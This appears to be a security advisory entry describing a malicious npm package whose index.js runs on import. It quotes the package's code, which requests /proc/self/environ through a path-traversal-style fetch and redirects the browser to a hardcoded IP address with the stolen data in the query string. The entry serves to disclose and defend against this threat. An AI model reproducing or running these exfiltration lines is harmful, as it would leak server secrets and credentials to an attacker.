MAL-2026-3680 Malicious code in @a91082900/test_package (npm)

The package's main file (index.js) executes at module load, with no exports and no user-invoked API. On import it issues fetch('/api/notes?id=/self/proc/environ') and then assigns top.location = 'http://128.199.217.232/?notes=' + encodeURIComponent(data), relaying whatever the vulnerable endpoint returns (a path-traversal-shaped request for the server process's environment variables) to a hardcoded bare IPv4 address over plain HTTP. Package metadata is placeholder ('no description', generic author handle) and there is no library functionality — this is a PoC/exfil payload packaged as an npm module. Any installer bundling this into a web application would redirect victim browsers to the attacker IP with exfiltrated data in the query string. Import-time execution + hardcoded bare-IP C2 + plaintext HTTP + a request path specifically crafted to read /proc/self/environ together leave no benign interpretation.